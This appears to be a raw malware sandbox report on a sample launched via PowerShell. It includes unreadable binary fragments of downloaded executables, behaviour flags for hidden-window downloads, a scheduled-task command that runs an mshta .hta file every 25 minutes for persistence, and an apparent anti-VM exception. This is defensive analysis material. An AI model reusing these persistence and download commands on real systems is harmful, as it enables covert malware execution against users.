ÍAˆöA€öA€æ€á@èAÎD0ð@ˆñ€ñ€á@ˆõ@€õ@€å@é@ˆõ@€õ@€åAˆöA€ö
request_handle: 0x00cc000c
1 1 0

InternetReadFile

buffer: MZÿÿ¸@к´ Í!¸LÍ!This program cannot be run in DOS mode. $À6لfXŠ„fXŠ„fXŠ£ 5ЇfXŠ£ #Š•fXŠ„fYŠ,fXŠۊ‰fXŠ̊…fXŠɊ…fXŠRich„fXŠPELºlÀKà  d|>Bÿ3€@ðG„ð‰´G`é€À.textÂcd `.rdataÊ€h@@.data¼N> ‚@À.ndatað>€À.rsrc`éGê„@@U‹ìƒì\ƒ} t+ƒ} F‹Eu ƒH‹ Ôí~‰HPÿuÿu ÿuÿ|‚@éKSV‹5Üí~WE¤Pÿuÿ€‚@ƒeô‰E EäPÿuÿ„‚@‹}ðƒeð‹D€@鉶FR¶VV¯Uè‹Ï+Mè¯Á™÷ÿ‰M¶ÀÁà‰E¶FQ¯Á¶NU¯MèÁ™÷ÿ‹M¶VT¯Uè¶À ȶFP¯E™÷ÿÁá¶À ȍEôP‰MøÿH€@ƒEðP‰EEäPÿu ÿˆ‚@ÿuÿӃEè9}èŒnÿÿÿƒ~Xÿteÿv4ÿL€@‰E…ÀtU‹} jWÇEäÇEèÿP€@ÿvXWÿT€@ÿu‹5X€@WÿÖh ‰E EäPjÿhÀm~WÿŒ‚@ÿu WÿÖÿuÿӍE¤Pÿuÿ‚@_^3À[É‹L$¡èí~‹ÑiÒ @‹TöÂtUVWq3ÿ;5ìí~sD‹ÎiÉ @DS‹öÁtGëöÁt ‹ÏO…Ét ëöÁu ‹Ù3ڃã3ىF @;5ìí~rÊ[_^ÂU‹ìQQ‹US‹èí~V‹òiö @ó‹F3ÉW‰Mü‰Mø¨t 9M tƒà¾‰FB;ìí~sD‹ÂiÀ @|‹BöÁt jRè¤ÿÿÿ‹öÁu(öÁ@tÿEüöÁtÿEüëÿEø‹Ð;ìí~r¼3À_^[Ƀ}ütóƒ}øtƒN@ëç‹NáÿÿÿƒÉ‰Në֋L$¡èí~V3öƒù s695ìí~v.PW‹¨u3ÿGÓç…zütƒÈëƒàþ‰FÂ @;5ìí~r×_^ÂU‹ìƒì ¡Üí~ƒeüSV”W‹=ìí~‰Eø‹Eø3Û9tK;ßsE‹5èí~ƒÆ‹öÂu(‹E…Àtƒ<˜t‹Mü3À@Óà‹Nüƒâ#ȋÁ‹MüÓâ;Âu CÆ @;ßrÆ;ßt ÿEüƒEøƒ}ü rŸ‹Eü_^[É‹D$…À}@iÀ@¹ð~+ÈQèjFÂV‹t$ëj‹ ðí~‹ÆkÀÁƒ8t\Pèâ=ÿÿÿtUPèµÿÿÿ…Àu@FëH‹Î‹ð+Áƒ|$ t/¬m~jÿ5¤m~h0uÿ5¬m~ÿH@Phÿt$ÿx‚@…ö}’3À^¸ÿÿÿëõ‹D$‹ Üí~jÿtlèiÿÿÿÂh°à@ÿt$è6¡¤ @ÿ4ˆjè_LPè§EËƅö}÷؋¤ @‹ÈÁøiÀ@Wƒáÿ4Ѝ @Pè-L‹ø…ö}Wè>F‹Ç_ÃU‹ììSVWEüP¡°î~ƒÈP3ÛSÿu ÿuÿ€@;Ãui‹5€@¿ë9]uKS…ðýÿÿPÿuüè²ÿÿÿ…ÀuW…ðýÿÿPSÿuüÿօÀtÕÿuüÿ€@jèžF;Ãt$Sÿ5°î~ÿu ÿuÿÐë ÿuüÿ€@3À@_^[É 9°î~uîÿu ÿuÿ €@…ÀuÞëßU‹ì¡¤ @‹@VW…Àt‹øë ‹=„î~Ç€EP¡°î~ EPjj"^è×þÿÿPWÿ€@÷ØÀ÷Ð#E_^]ÂU‹ìì¤¡Ôí~SV‹uWƒeüjY}Øó¥‹Uà‰Eø‹E܋ø‹Úiÿ@iÛ@¹ð~ùٍM܉ ¤ @‹M؃ÁþƒùD‡bÿ$l,@jPèX4¸ÿÿÿéTÿ”m~ƒ}øtêjÿ,‚@ëàPèQýÿÿHjPègýÿÿé*jPè4é3Éèùýÿÿƒø3À@PÿŒ€@é÷ÿuøÿ0‚@ééÁàƒ}äu#‹ˆ€î~‰ˆ@î~3ÉAèºýÿÿ‹M܉€î~齋ˆ@î~‰ˆ€î~鬋U䍕€î~‹ 3À…É”À#Mè‰ ‹D…Üé–ÿ4•€î~éy‹  m~‹54‚@…ÉtRQÿ֋E܋ Œm~…É„ZPQÿÖéQjð^èMýÿÿÿuàPÿˆ€@…À…7ÇEüé+jð^è'ýÿÿ‹ØSè´@‹ð…ötCj\VèR@‹ð·>3ÀPSf‰ÿ„€@…Àuÿ€€@=·u Sÿ|€@¨uÿEüf‰>FFf…ÿu½ƒ}àtjæè¢üÿÿSh°p„èCSÿx€@é®jõè„üÿÿé¢3öèŸüÿÿPè¿C…À„Å‹EàéjÐ^èüÿÿjß^‹øèwüÿÿj^‹ØèmüÿÿSWÿt€@…Àtjã뭃}ä„ÿÿÿWèsC…À„ ÿÿÿSWèòLjäëŠ3öè3üÿÿ‹ðEPSh Vÿp€@…Àt%‹E;Æv*fƒ8t$Vè/C…ÀtƒÀ,Pÿuè?Bë 3Àf‰ÇEüƒ}ä…Ýh SSÿl€@é˃ÎÿèÇûÿÿMQWh jPjÿh€@…À…¦3ÀÇEüf‰é•jï^è‘ûÿÿPWèE@éBþÿÿj1^è}ûÿÿ‹ð‹E܃àV‰uô‰EèÉ>V¾¨ @…ÀtVèŸAëh°p„Vè’APèºFPè¢AVè¯A¿¸ A»ð~ƒ}|1VèJB3ɅÀtMèQƒÀPÿd€@‹È‹EƒÀý €#Á÷ØÀ@‰Eƒ}uVèY?3Àƒ}•À@Ph@Vèc?‰Eøƒøÿukƒ}uGSWèAVSèAÿuðh°à@èGWSèí@‹EÜÁøPh°à@èq=ƒè„]ÿÿÿHtVjúé&üÿÿÿuôjâèy0ƒ}é.ýÿÿÿˆî~éiÿuôjêè[0ÿ´î~3ÿWWÿuøÿuäèÐÿ ´î~ƒ}èÿ‹Øuƒ}ìÿtEèPWPÿuøÿ`€@ÿuøÿ¼€@;ߍ ƒûþujéVè\FÿuôVè]@ëjîVèIFh VèÁ<éŠûÿÿ3öèÚùÿÿÿuàPè¸JéÈj1^èÄùÿÿÿuÜPè–<…À„xüÿÿ;Eäu‹Eèé­;Eì…™‹Eðéœjð^ë±3öFèˆùÿÿPèÞ?érjYè_ùÿÿjY‰EèTùÿÿ3öF‹Øè`ùÿÿ‹ð3Àf‰9Eät 9E„GVè¡?…Û}؈5;Ø~‹Ø^PWèo?‹u…ö„}Wèr?ðyƒe‹uþ û3Àf‰wéðj ^èìøÿÿj1^‹øèâøÿÿƒ}ìPWuÿ@…À…ÿÿÿ‹EäéËÿ@ëè3öFè´øÿÿh ‹ØWSÿ@…Àtƒ}ätWSÿ@…Àu3À‰uüf‰3Àf‰‡@éu3Éè\øÿÿ3ÉA‹ðèRøÿÿƒ}ðu;ðŒ¬þ
request_handle: 0x00cc000c
1 1 0

InternetReadFile

buffer: MZx@xº´ Í!¸LÍ!This program cannot be run in DOS mode.$PELú»gà Âd@F@pFÏ€U€ip ø `ì@à.rsrc pü@À.idata €@À À)@àycjszivjàP,Ô@ànspidvfq0FØ@à.taggant0@F"Þ@à
request_handle: 0x00cc000c
1 1 0
parent_process powershell.exe martian_process C:\Users\test22\AppData\Local\TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
parent_process powershell.exe martian_process "C:\Users\test22\AppData\Local\TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE"
option -windowstyle hidden value Attempts to execute command with a hidden window
value Uses powershell to execute a file download from the command line
option -windowstyle hidden value Attempts to execute command with a hidden window
value Uses powershell to execute a file download from the command line
cmdline schtasks /create /tn uA50omaOMzx /tr "mshta C:\Users\test22\AppData\Local\Temp\FSEfTpEuF.hta" /sc minute /mo 25 /ru "test22" /f
cmdline C:\Windows\system32\cmd.exe /c schtasks /create /tn uA50omaOMzx /tr "mshta C:\Users\test22\AppData\Local\Temp\FSEfTpEuF.hta" /sc minute /mo 25 /ru "test22" /f
Time & API Arguments Status Return Repeated

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: ed 64 8f 05 00 00 00 00 51 e9 b0 d1 ff ff 33 34
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x209443
exception.instruction: in eax, dx
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2135107
exception.address: 0xa39443
registers.esp: 2883044
registers.edi: 7090345
registers.eax: 1447909480
registers.ebp: 3999068180
registers.edx: 22104
registers.ebx: 1969033397
registers.esi: 10701788
registers.ecx: 20
1 0 0
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe
file C:\Users\test22\AppData\Local\TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE